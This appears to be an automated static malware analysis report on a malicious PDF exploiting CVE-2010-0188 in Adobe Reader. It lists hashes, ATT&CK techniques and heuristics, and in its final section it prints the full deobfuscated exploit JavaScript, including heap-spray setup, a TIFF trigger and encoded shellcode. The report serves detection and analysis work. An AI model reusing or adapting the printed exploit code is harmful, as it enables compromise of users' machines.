Malicious PDF — malware analysis report

Static analysis result for SHA-256 e3520d32fc804c8a…

MALICIOUS

PDF

12.0 KB First seen: 2026-05-08
MD5: 504c0b9f788766da5867e40ac68db5ab SHA-1: f51757807b6a35981910fedf453d5ac6065dd175 SHA-256: e3520d32fc804c8a47342edeeeb17c7ac552b4f387b8239f3fc680090918a452
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains an embedded script payload, indicated by the PDF_EMBEDDED_SCRIPT_PAYLOAD heuristic. The document body contains JavaScript-like syntax, suggesting an attempt to execute malicious code. The embedded file and XFA form further support the likelihood of an exploit. The primary goal appears to be the execution of an embedded script, likely to download and run a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188
    PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
  • XFA numeric JavaScript stager high PDF_XFA_NUMERIC_JS_STAGER
    PDF XFA script reconstructs a hidden JavaScript stage from numeric field data or a character table, then evals the result. The decoder is gated on XFA script, numeric staging, and recovered exploit-like JavaScript or shellcode markers.
  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Embedded script payload in PDF stream info PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.5/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0008.bin pdf-embedded-file PDF EmbeddedFile object 8 at offset 0xC6 11611 bytes
SHA-256: 6df445522cfa091f72eeab6131060edad2e02ed1b5170e1eadd409df22a04034
xfa_numeric_stage_000.js deobfuscated-js XFA caret-number decoded JavaScript (raw) at offset 0x4C0 3422 bytes
SHA-256: 572ae40f7c32565d12c0cc6824c699de892b48c895679520f8e2369107af7132
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var _1l=[];function _2l(){var _3l=app.viewerVersion.toString();_3l=_3l.replace('.','');while(_3l.length<4){_3l+='0';}_3l=parseInt(_3l,10);return _3l;}function _4l(_5l,_6l){while(_5l.length*2<_6l){_5l+=_5l;}_5l=_5l.substring(0,_6l/2);return _5l;}function _7l(_8l){_8l=unescape(_8l);var _9l=_8l.length*2;var _1l0=unescape('%u9090');var _1l1=_4l(_1l0,0x2000-_9l);var _1l2=_8l+_1l1;_1l2=_4l(_1l2,0x80000-0x40);for(var _0=0;_0<0x190;_0++){_1l[_0]=_1l2.substr(0,_1l2.length-1)+_1l0;}return;}function _1l3(_5l,_6l){while(_5l.length<_6l){_5l+=_5l;}_5l=_5l.substring(0,_6l);return _5l;}function _1l4(_1l5){var _5l=_1l5.toString(16);var _6l=_5l.length;var _1l6=(_6l%2)?'0'+_5l:_5l;return _1l6;}function _1l7(_5l){var _1l6='';for(var _0=0;_0<_5l.length;_0+=2){_1l6+='%u';_1l6+=_1l4(_5l.charCodeAt(_0+1));_1l6+=_1l4(_5l.charCodeAt(_0));}return _1l6;}function _1l8(_1l9){var _1l6 ='';for(var _0=0;_0<_1l9.length;_0+=2){var _2l7=_1l9.substr(_0,2);var _1l5=parseInt(_2l7,16);_1l6+=String.fromCharCode(_1l5);}return _1l6;}_2l0();function _2l0(){var _3l=_2l();if(_3l>=0x1f40){var _2l1='SUkqADggAABB';var _2l2=_1l3('QUFB',0x2ae8);var _2l3='QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';var _2l4='';var _2l5='';if(_3l<0x2009){_2l4='o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';_2l5='4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141b0839090eb16b9640100008b342489f7803ee97406ac344baae2fac3e8e5ffffffa2474a4b4b15caa7174a4b4bc2acc6045bc6241f7a901c1a181818181818181e1818234f4a4b4b1e1d182324254b4b233e3927261f23c50545a7a3034b4b4b1ba3374b4b4bb49bc88f432304a4044e1ba3274b4b4bb49bce8b3e5c211f12b8e12339b5f85da3564b4b4b1ba31a4b4b4bb49b1821b523c2244af6a3434b4b4b1ba3774b4b4bb49b2b7a8b2fc01b7bc01947c0195fc03963f2534b4b4b7ab47a8be7772a3749676b8a84464a8ca9bbcab410f70121c0095bc0593e92c20f6f572a882bc0276f6fc00e77c01f4e334aa1c00153c0116b4aa0a87f02c07fc04aa57ab47a8bb7e7cf8b3f4c8a84464a8ca0bf70376f633eaac0116f4aa02dc04700c011574aa0c04fc04aa3c20f6f572a89434ba3a4b5b4b4233f3f3b716464727a657a727f65797a7f657d7d642f252c787a7a7b7a7a6472782f7c7b2f7a732a287d787a79792a792d287c282d7b2f2d7829282d2e7b2f642f7a7a653b233b742d7627292d4b90';}else{_2l4='kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';_2l5='4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141b0839090eb16b9640100008b342489f7803ee97406ac3484aae2fac3e8e5ffffff6d88858484da0568d88584840d6309cb9409ebd0b55fd3d5d7d7d7d7d7d7d7d1d7d7ec80858484d1d2d7ecebea8484ecf1f6e8e9d0ec0aca8a686ccc848484d46cf88484847b5407408ceccb6bcb81d46ce88484847b540144f193eed0dd772eecf67a37926c99848484d46cd58484847b54d7ee7aec0deb85396c8c848484d46cb88484847b54e4b544e00fd4b40fd6880fd6900ff6ac3d9c848484b57bb54428b8e5f886a8a4454b8985436674057bdf38ceee0fc6940f96f15d0dc0a098e547e40fe8a0a00fc1b80fd081fc856e0fce9c0fdea4856f67b0cd0fb00f856ab57bb54478280044f083454b8985436f70bff8a0acf1650fdea0856fe20f88cf0fde98856f0f800f856c0dc0a098e5468c846c6b7a7b7becf0f0f4beababbdb5aab5bdb0aab6b5b0aab2b2abe0eae3b7b5b5b4b5b5abbdb7e0b3b4e0b5bce5e7b2b7b5b6b6e5b6e2e7b3e7e2b4e0e2b7e6e7e2e1b4e0abe0b5b5aaf4ecf4bbe2b9e8e6e28490';}if(_2l4.length){var _1l6=[_2l1,_2l2,_2l3,_2l4].join('');var _2l6=_1l8(_2l5);var _8l=_1l7(_2l6);_7l(_8l);fromCh.rawValue=_1l6;}}}

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